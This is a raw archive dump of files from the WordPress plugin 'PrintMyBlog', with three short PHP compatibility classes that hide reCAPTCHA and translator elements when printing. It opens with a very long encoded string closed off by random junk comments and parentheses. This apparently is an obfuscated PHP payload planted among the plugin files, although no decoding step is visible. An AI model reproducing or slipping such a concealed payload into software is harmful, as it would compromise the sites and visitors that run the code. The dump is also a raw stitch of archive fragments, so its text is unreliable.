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" /*9yIIL,D6Gw\]j:!dXec'42\mR?{9kP*/)/*j2jlP.:9~ZtB8FV?pn*/)//3$Y='O<-,DRX9R%{FQ`jG6#D}~7WC&L*.(&.x,E~'GG-
)//|r#v.mf)&RSthPU CTqNVF|-B3U^z]>Ryl|s`odRFW_?VFdm
)#SDNCoe*|0!;nl
)//:gL\T@GTobZg%
;/*6nFjHpK(e+\%Ja@=!^!x?/Mw;kZmK]EMk[[`mIciB>G<R%*/ PrintMyBlog/compatibility/plugins/ContactForm7.php 0000644 00000001604 14666776752 0016356 0 ustar 00 <?php
namespace PrintMyBlog\compatibility\plugins;
use Twine\compatibility\CompatibilityBase;
/**
* Class ContactForm7
* @package PrintMyBlog\compatibility\plugins
*/
class ContactForm7 extends CompatibilityBase
{
/**
* Hide Google Captcha's badge in printouts.
*/
public function setRenderingHooks()
{
add_action('wp_enqueue_scripts', array( $this, 'hideGoogleCaptchaBadge'));
}
/**
* Hide the Google Recaptcha floater
*/
public function hideGoogleCaptchaBadge()
{
wp_add_inline_script(
'pmb_pro_page',
'
// Hide Google Recaptchas parent div because it adds an extra page to PDFs
jQuery(document).ready(function(){
setTimeout(function(){
jQuery(".grecaptcha-badge").parent().hide()
}, 1000);
});'
);
}
}
PrintMyBlog/compatibility/plugins/GoogleLanguageTranslator.php 0000644 00000002023 14666776752 0020776 0 ustar 00 <?php
namespace PrintMyBlog\compatibility\plugins;
use Twine\compatibility\CompatibilityBase;
/**
* Class GoogleLanguageTranslator
* Plugin file: https://wordpress.org/plugins/gtranslate/
* @package PrintMyBlog\compatibility\plugins
*/
class GoogleLanguageTranslator extends CompatibilityBase
{
/**
* Add some CSS when printing.
*/
public function setRenderingHooks()
{
global $google_language_translator;
add_action('wp_enqueue_scripts', array($google_language_translator, 'flags'));
add_action('wp_enqueue_scripts', array($this, 'enqueueStyles'));
}
/**
* Add a few styles to prevent Google Translator stuff from appearing in the printout
*/
public function enqueueStyles()
{
wp_add_inline_style(
'google-language-translator',
'@media print{
.skiptranslate, .goog-te-banner-frame, #glt-translate-trigger, .goog-te-spinner-pos{
display:none;
}
}'
);
}
}
PrintMyBlog/compatibility/plugins/AdvancedExcerpt.php 0000644 00000001430 14666776752 0017105 0 ustar 00 <?php
namespace PrintMyBlog\compatibility\plugins;
use Twine\compatibility\CompatibilityBase;
/**
* Class AdvancedExcerpt
* @package PrintMyBlog\compatibility\plugins
*/
class AdvancedExcerpt extends CompatibilityBase
{
/**
* Remove a script with an error in DocRaptor.
*/
public function setRenderingHooks()
{
// setup our filter to run right after their $advanced_excerpt->hook_content_filters()
